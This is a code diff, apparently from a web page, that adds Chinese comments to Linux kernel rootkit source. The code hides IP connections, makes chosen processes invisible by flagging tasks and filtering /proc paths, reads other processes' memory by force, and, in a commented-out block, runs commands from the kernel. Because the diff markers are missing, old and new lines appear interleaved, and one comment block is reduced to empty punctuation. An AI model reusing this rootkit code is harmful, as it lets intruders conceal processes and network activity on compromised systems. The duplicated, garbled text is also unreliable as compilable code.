list_for_each_entry(hc, &hidden_conn_list, list) // 遍历隐藏连接列表
{
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr)
return 1;
if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) // 如果找到匹配的地址
return 1; // 返回1表示地址被隐藏
}
return 0;
return 0; // 返回0表示地址未被隐藏
}
/*
unsigned int _inet4_pton(char *src)
{
unsigned int dst;
int srclen = strlen(src);
unsigned int dst; // 定义一个无符号整数用于存储转换后的地址
int srclen = strlen(src); // 获取源字符串的长度
if (srclen > INET_ADDRSTRLEN)
return -EINVAL;
if (srclen > INET_ADDRSTRLEN) // 如果源字符串长度超过最大地址长度
return -EINVAL; // 返回无效参数错误
if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0)
return -EINVAL;
if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0) // 将字符串转换为网络地址
return -EINVAL; // 如果转换失败,返回无效参数错误
return dst;
return dst; // 返回转换后的地址
}
void hide_conn(char *ip_str)
{
unsigned int ip;
struct sockaddr_in addr;
unsigned int ip; // 定义一个无符号整数用于存储IP地址
struct sockaddr_in addr; // 定义一个sockaddr_in结构体用于存储地址
if ((ip = _inet4_pton(ip_str)) > 0) {
addr.sin_addr.s_addr = ip;
if ((ip = _inet4_pton(ip_str)) > 0) { // 将字符串转换为IP地址
addr.sin_addr.s_addr = ip; // 将IP地址赋值给sockaddr_in结构体的地址成员
if (is_addr_hidden(addr))
network_hide_remove(addr);
if (is_addr_hidden(addr)) // 如果地址已经被隐藏
network_hide_remove(addr); // 移除隐藏的地址
else
network_hide_add(addr);
network_hide_add(addr); // 添加隐藏的地址
}
}
*/

@ -1,132 +1,137 @@
#include <linux/version.h>
#include <linux/uaccess.h>
#include <linux/ctype.h>
#include <linux/slab.h>
#include <linux/namei.h>
#include <linux/limits.h>
#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/uaccess.h> // 包含用户空间访问相关的头文件
#include <linux/ctype.h> // 包含字符类型判断相关的头文件
#include <linux/slab.h> // 包含内核内存分配相关的头文件
#include <linux/namei.h> // 包含文件路径相关的头文件
#include <linux/limits.h> // 包含系统限制相关的头文件
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
# include <linux/sched/signal.h>
# include <linux/sched/signal.h> // 包含调度和信号相关的头文件内核版本4.11及以上)
#endif
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
# include "string_helpers.h"
# include "string_helpers.h" // 包含字符串辅助函数内核版本4.2以下)
#endif
#include "proc.h"
#include "proc.h" // 包含自定义的proc.h头文件
// 设置或清除任务的标志
int flag_tasks(pid_t pid, int set)
{
int ret = 0;
struct pid *p;
int ret = 0; // 返回值初始化为0
struct pid *p; // 定义pid结构体指针
rcu_read_lock();
p = find_get_pid(pid);
rcu_read_lock(); // 获取RCU读锁
p = find_get_pid(pid); // 根据pid获取pid结构体
if (p) {
struct task_struct *task = get_pid_task(p, PIDTYPE_PID);
struct task_struct *task = get_pid_task(p, PIDTYPE_PID); // 获取任务结构体
if (task) {
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
struct task_struct *t = NULL;
for_each_thread(task, t)
for_each_thread(task, t) // 遍历任务的所有线程
{
if (set)
t->flags |= FLAG;
t->flags |= FLAG; // 设置标志
else
t->flags &= ~FLAG;
t->flags &= ~FLAG; // 清除标志
ret++;
ret++; // 计数
}
#endif
if (set)
task->flags |= FLAG;
task->flags |= FLAG; // 设置标志
else
task->flags &= ~FLAG;
task->flags &= ~FLAG; // 清除标志
put_task_struct(task);
put_task_struct(task); // 释放任务结构体
}
put_pid(p);
put_pid(p); // 释放pid结构体
}
rcu_read_unlock();
return ret;
rcu_read_unlock(); // 释放RCU读锁
return ret; // 返回设置或清除标志的任务数
}
// 根据pid查找任务
struct task_struct *find_task(pid_t pid)
{
struct task_struct *p = current;
struct task_struct *ret = NULL;
struct task_struct *p = current; // 当前任务
struct task_struct *ret = NULL; // 返回值初始化为NULL
rcu_read_lock();
for_each_process(p)
rcu_read_lock(); // 获取RCU读锁
for_each_process(p) // 遍历所有进程
{
if (p->pid == pid) {
get_task_struct(p);
ret = p;
if (p->pid == pid) { // 如果找到匹配的pid
get_task_struct(p); // 获取任务结构体
ret = p; // 设置返回值
}
}
rcu_read_unlock();
rcu_read_unlock(); // 释放RCU读锁
return ret;
return ret; // 返回找到的任务结构体
}
// 判断进程是否不可见
int is_proc_invisible(pid_t pid)
{
struct task_struct *task;
int ret = 0;
struct task_struct *task; // 定义任务结构体指针
int ret = 0; // 返回值初始化为0
if (!pid)
return ret;
if (!pid) // 如果pid为0
return ret; // 返回0
task = find_task(pid);
if (!task)
return ret;
task = find_task(pid); // 查找任务
if (!task) // 如果没有找到任务
return ret; // 返回0
if (is_task_invisible(task))
ret = 1;
if (is_task_invisible(task)) // 判断任务是否不可见
ret = 1; // 设置返回值为1
put_task_struct(task);
return ret;
put_task_struct(task); // 释放任务结构体
return ret; // 返回结果
}
// 判断/proc目录下的进程是否不可见
int is_proc_invisible_2(const char __user *filename)
{
int ret = 0, i, argc, is_num = 1;
pid_t pid = 0;
char **a;
char *name = kmalloc(PATH_MAX, GFP_KERNEL);
int ret = 0, i, argc, is_num = 1; // 初始化变量
pid_t pid = 0; // 初始化pid
char **a; // 定义字符指针数组
char *name = kmalloc(PATH_MAX, GFP_KERNEL); // 分配内核内存
if (strncpy_from_user(name, filename, PATH_MAX) > 0) {
if (strncmp(name, "/proc/", 6) == 0) {
strreplace(name, '/', ' ');
if (strncpy_from_user(name, filename, PATH_MAX) > 0) { // 从用户空间复制字符串
if (strncmp(name, "/proc/", 6) == 0) { // 判断是否以/proc/开头
strreplace(name, '/', ' '); // 替换斜杠为空格
a = argv_split(GFP_KERNEL, name, &argc);
a = argv_split(GFP_KERNEL, name, &argc); // 分割字符串
for (i = 0; i < strlen(a[1]); i++) {
if (!isdigit(*a[1]))
is_num = 0;
for (i = 0; i < strlen(a[1]); i++) { // 遍历字符串
if (!isdigit(*a[1])) // 判断是否为数字
is_num = 0; // 设置为非数字
}
if (is_num) {
if (kstrtoint(a[1], 10, &pid) == 0) {
if (is_proc_invisible(pid))
ret = 1;
if (kstrtoint(a[1], 10, &pid) == 0) { // 将字符串转换为整数
if (is_proc_invisible(pid)) // 判断进程是否不可见
ret = 1; // 设置返回值为1
}
}
argv_free(a);
argv_free(a); // 释放字符指针数组
}
}
kfree(name);
return ret;
kfree(name); // 释放内存
return ret; // 返回结果
}
// 隐藏进程
void hide_proc(pid_t pid)
{
if (is_proc_invisible(pid))
flag_tasks(pid, 0);
if (is_proc_invisible(pid)) // 判断进程是否不可见
flag_tasks(pid, 0); // 清除标志
else
flag_tasks(pid, 1);
flag_tasks(pid, 1); // 设置标志
}
/*

@ -1,31 +1,34 @@
#include "string_helpers.h"
#include "string_helpers.h" // 包含头文件
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0)
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) // 如果内核版本小于4.7.0
/* stolen from lib/string_helpers.c */
#include <linux/slab.h>
#include <linux/ctype.h>
#include <linux/slab.h> // 包含内核内存分配头文件
#include <linux/ctype.h> // 包含字符类型处理头文件
#define ESCAPE_SPACE 0x01
#define ESCAPE_SPECIAL 0x02
#define ESCAPE_NULL 0x04
#define ESCAPE_OCTAL 0x08
#define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL)
#define ESCAPE_NP 0x10
#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP)
#define ESCAPE_HEX 0x20
// 定义各种转义标志
#define ESCAPE_SPACE 0x01
#define ESCAPE_SPECIAL 0x02
#define ESCAPE_NULL 0x04
#define ESCAPE_OCTAL 0x08
#define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL)
#define ESCAPE_NP 0x10
#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP)
#define ESCAPE_HEX 0x20
// 处理直接通过字符
static bool escape_passthrough(unsigned char c, char **dst, char *end)
{
char *out = *dst;
if (out < end)
*out = c;
*out = c; // 直接复制字符
*dst = out + 1;
return true;
}
// 处理空白字符转义
static bool escape_space(unsigned char c, char **dst, char *end)
{
char *out = *dst;
@ -33,35 +36,36 @@ static bool escape_space(unsigned char c, char **dst, char *end)
switch (c) {
case '\n':
to = 'n';
to = 'n'; // 换行符转义为 \n
break;
case '\r':
to = 'r';
to = 'r'; // 回车符转义为 \r
break;
case '\t':
to = 't';
to = 't'; // 制表符转义为 \t
break;
case '\v':
to = 'v';
to = 'v'; // 垂直制表符转义为 \v
break;
case '\f':
to = 'f';
to = 'f'; // 换页符转义为 \f
break;
default:
return false;
return false; // 不是空白字符
}
if (out < end)
*out = '\\';
*out = '\\'; // 添加转义符
++out;
if (out < end)
*out = to;
*out = to; // 添加转义后的字符
++out;
*dst = out;
return true;
}
// 处理特殊字符转义
static bool escape_special(unsigned char c, char **dst, char *end)
{
char *out = *dst;
@ -69,91 +73,95 @@ static bool escape_special(unsigned char c, char **dst, char *end)
switch (c) {
case '\\':
to = '\\';
to = '\\'; // \\
break;
case '\a':
to = 'a';
to = 'a'; // 响铃符转义为 \a
break;
case '\e':
to = 'e';
to = 'e'; // 转义符转义为 \e
break;
default:
return false;
return false; // 不是特殊字符
}
if (out < end)
*out = '\\';
*out = '\\'; // 添加转义符
++out;
if (out < end)
*out = to;
*out = to; // 添加转义后的字符
++out;
*dst = out;
return true;
}
// 处理空字符转义
static bool escape_null(unsigned char c, char **dst, char *end)
{
char *out = *dst;
if (c)
return false;
return false; // 不是空字符
if (out < end)
*out = '\\';
*out = '\\'; // 添加转义符
++out;
if (out < end)
*out = '0';
*out = '0'; // 添加转义后的字符
++out;
*dst = out;
return true;
}
// 处理八进制字符转义
static bool escape_octal(unsigned char c, char **dst, char *end)
{
char *out = *dst;
if (out < end)
*out = '\\';
*out = '\\'; // 添加转义符
++out;
if (out < end)
*out = ((c >> 6) & 0x07) + '0';
*out = ((c >> 6) & 0x07) + '0'; // 添加八进制字符的高三位
++out;
if (out < end)
*out = ((c >> 3) & 0x07) + '0';
*out = ((c >> 3) & 0x07) + '0'; // 添加八进制字符的中三位
++out;
if (out < end)
*out = ((c >> 0) & 0x07) + '0';
*out = ((c >> 0) & 0x07) + '0'; // 添加八进制字符的低三位
++out;
*dst = out;
return true;
}
// 处理十六进制字符转义
static bool escape_hex(unsigned char c, char **dst, char *end)
{
char *out = *dst;
if (out < end)
*out = '\\';
*out = '\\'; // 添加转义符
++out;
if (out < end)
*out = 'x';
*out = 'x'; // 添加十六进制标识符
++out;
if (out < end)
*out = hex_asc_hi(c);
*out = hex_asc_hi(c); // 添加十六进制字符的高四位
++out;
if (out < end)
*out = hex_asc_lo(c);
*out = hex_asc_lo(c); // 添加十六进制字符的低四位
++out;
*dst = out;
return true;
}
// 将字符串中的字符进行转义处理
int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
unsigned int flags, const char *only)
unsigned int flags, const char *only)
{
char *p = dst;
char *end = p + osz;
@ -163,19 +171,15 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
unsigned char c = *src++;
/*
* Apply rules in the following sequence:
* - the character is printable, when @flags has
* %ESCAPE_NP bit set
* - the @only string is supplied and does not contain a
* character under question
* - the character doesn't fall into a class of symbols
* defined by given @flags
* In these cases we just pass through a character to the
* output buffer.
* :
* - @flags %ESCAPE_NP
* - @only
* - @flags
*
*/
if ((flags & ESCAPE_NP && isprint(c)) ||
(is_dict && !strchr(only, c))) {
/* do nothing */
(is_dict && !strchr(only, c))) {
/* 不做任何处理 */
} else {
if (flags & ESCAPE_SPACE && escape_space(c, &p, end))
continue;
@ -186,7 +190,7 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
if (flags & ESCAPE_NULL && escape_null(c, &p, end))
continue;
/* ESCAPE_OCTAL and ESCAPE_HEX always go last */
/* ESCAPE_OCTAL 和 ESCAPE_HEX 总是最后处理 */
if (flags & ESCAPE_OCTAL && escape_octal(c, &p, end))
continue;
@ -194,12 +198,13 @@ int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
continue;
}
escape_passthrough(c, &p, end);
escape_passthrough(c, &p, end); // 直接通过字符
}
return p - dst;
return p - dst; // 返回处理后的字符串长度
}
// 复制并转义字符串
char *kstrdup_quotable(const char *src, gfp_t gfp)
{
size_t slen, dlen;
@ -211,52 +216,54 @@ char *kstrdup_quotable(const char *src, gfp_t gfp)
return NULL;
slen = strlen(src);
dlen = string_escape_mem(src, slen, NULL, 0, flags, esc);
dst = kmalloc(dlen + 1, gfp);
dlen = string_escape_mem(src, slen, NULL, 0, flags, esc); // 计算转义后的长度
dst = kmalloc(dlen + 1, gfp); // 分配内存
if (!dst)
return NULL;
WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen);
dst[dlen] = '\0';
WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen); // 转义字符串
dst[dlen] = '\0'; // 添加字符串结束符
return dst;
}
#include "util.h"
// 复制并转义命令行字符串
char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp)
{
char *buffer, *quoted;
int i, res;
buffer = kmalloc(PAGE_SIZE, GFP_KERNEL);
buffer = kmalloc(PAGE_SIZE, GFP_KERNEL); // 分配内存
if (!buffer)
return NULL;
res = get_cmdline(task, buffer, PAGE_SIZE - 1);
buffer[res] = '\0';
res = get_cmdline(task, buffer, PAGE_SIZE - 1); // 获取命令行
buffer[res] = '\0'; // 添加字符串结束符
/* Collapse trailing NULLs, leave res pointing to last non-NULL. */
/* 折叠尾随的 NULL保留 res 指向最后一个非 NULL。 */
while (--res >= 0 && buffer[res] == '\0')
;
/* Replace inter-argument NULLs. */
/* 替换参数之间的 NULL。 */
for (i = 0; i <= res; i++)
if (buffer[i] == '\0')
buffer[i] = ' ';
/* Make sure result is printable. */
quoted = kstrdup_quotable(buffer, gfp);
kfree(buffer);
/* 确保结果是可打印的。 */
quoted = kstrdup_quotable(buffer, gfp); // 转义字符串
kfree(buffer); // 释放内存
return quoted;
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
// 替换字符串中的字符
char *strreplace(char *s, char old, char new)
{
for (; *s; ++s)
if (*s == old)
*s = new;
*s = new; // 替换字符
return s;
}

@ -1,115 +1,120 @@
#include <linux/kmod.h>
#include <linux/kallsyms.h>
#include <linux/types.h>
#include <linux/slab.h>
#include <linux/mm.h>
#include <linux/sched.h>
#include <linux/version.h>
#include <linux/ctype.h>
#include <linux/kmod.h> // 包含内核模块相关的头文件
#include <linux/kallsyms.h> // 包含内核符号表相关的头文件
#include <linux/types.h> // 包含内核类型定义的头文件
#include <linux/slab.h> // 包含内核内存分配相关的头文件
#include <linux/mm.h> // 包含内存管理相关的头文件
#include <linux/sched.h> // 包含调度相关的头文件
#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/ctype.h> // 包含字符类型相关的头文件
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
# include <linux/sched/mm.h>
# include <linux/sched/mm.h> // 包含调度和内存管理相关的头文件仅在内核版本4.11.0及以上)
#endif
#include "util.h"
#include "util.h" // 包含自定义的util头文件
// 声明一个函数指针,用于访问进程虚拟内存
asmlinkage int (*_access_process_vm)(struct task_struct *, unsigned long, void *, int, int);
int util_init(void)
{
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
_access_process_vm = (void *) access_process_vm;
// 在内核版本4.11.0及以上直接使用access_process_vm函数
_access_process_vm = (void *) access_process_vm;
#else
// 在内核版本4.11.0以下通过符号表查找access_process_vm函数
_access_process_vm = (void *) ksym_lookup_name("access_process_vm");
#endif
if (!_access_process_vm)
// 如果函数指针为空,返回错误
if (!_access_process_vm)
return -EFAULT;
return 0;
return 0; // 初始化成功返回0
}
/* stolen from mm/util.c */
/* 从mm/util.c文件中借用的函数 */
// 获取进程的命令行参数
int get_cmdline(struct task_struct *task, char *buffer, int buflen)
{
int res = 0;
unsigned int len;
struct mm_struct *mm = get_task_mm(task);
unsigned long arg_start, arg_end, env_start, env_end;
if (!mm)
int res = 0; // 初始化返回值
unsigned int len; // 命令行参数的长度
struct mm_struct *mm = get_task_mm(task); // 获取进程的内存描述符
unsigned long arg_start, arg_end, env_start, env_end; // 命令行参数和环境变量的起始和结束地址
if (!mm) // 如果内存描述符为空跳转到out标签
goto out;
if (!mm->arg_end)
if (!mm->arg_end) // 如果命令行参数的结束地址为空跳转到out_mm标签
goto out_mm;
down_read(&mm->mmap_sem);
arg_start = mm->arg_start;
arg_end = mm->arg_end;
env_start = mm->env_start;
env_end = mm->env_end;
up_read(&mm->mmap_sem);
down_read(&mm->mmap_sem); // 获取内存描述符的读锁
arg_start = mm->arg_start; // 获取命令行参数的起始地址
arg_end = mm->arg_end; // 获取命令行参数的结束地址
env_start = mm->env_start; // 获取环境变量的起始地址
env_end = mm->env_end; // 获取环境变量的结束地址
up_read(&mm->mmap_sem); // 释放内存描述符的读锁
len = arg_end - arg_start;
len = arg_end - arg_start; // 计算命令行参数的长度
if (len > buflen)
if (len > buflen) // 如果长度大于缓冲区长度,截断长度
len = buflen;
// 读取进程的命令行参数到缓冲区
res = _access_process_vm(task, arg_start, buffer, len, FOLL_FORCE);
/*
* If the nul at the end of args has been overwritten, then
* assume application is using setproctitle(3).
*/
// 如果命令行参数的末尾被覆盖假设应用程序使用了setproctitle(3)
if (res > 0 && buffer[res-1] != '\0' && len < buflen) {
len = strnlen(buffer, res);
len = strnlen(buffer, res); // 获取缓冲区的实际长度
if (len < res) {
res = len;
res = len; // 更新返回值
} else {
len = env_end - env_start;
if (len > buflen - res)
len = env_end - env_start; // 计算环境变量的长度
if (len > buflen - res) // 如果长度大于剩余缓冲区长度,截断长度
len = buflen - res;
// 读取进程的环境变量到缓冲区
res += _access_process_vm(task, env_start, buffer+res, len, FOLL_FORCE);
res = strnlen(buffer, res);
res = strnlen(buffer, res); // 获取缓冲区的实际长度
}
}
out_mm:
mmput(mm);
mmput(mm); // 释放内存描述符
out:
return res;
return res; // 返回读取的长度
}
/*
static int count_argc(const char *str)
{
int count = 0;
bool was_space;
int count = 0; // 初始化参数计数
bool was_space; // 标记上一个字符是否为空格
for (was_space = true; *str; str++) {
if (isspace(*str)) {
was_space = true;
} else if (was_space) {
was_space = false;
count++;
if (isspace(*str)) { // 如果当前字符为空格
was_space = true; // 更新标记
} else if (was_space) { // 如果当前字符不是空格且上一个字符为空格
was_space = false; // 更新标记
count++; // 增加参数计数
}
}
return count;
return count; // 返回参数计数
}
int run_cmd(const char *cmd)
{
char **argv;
int ret;
int i;
char **argv; // 参数数组
int ret; // 返回值
int i; // 循环变量
argv = argv_split(GFP_KERNEL, cmd, NULL);
argv = argv_split(GFP_KERNEL, cmd, NULL); // 分割命令行参数
if (argv) {
ret = exec(argv);
argv_free(argv);
ret = exec(argv); // 执行命令
argv_free(argv); // 释放参数数组
} else {
ret = -ENOMEM;
ret = -ENOMEM; // 内存分配失败,返回错误
}
return ret;
return ret; // 返回执行结果
}
*/
Loading…
Cancel
Save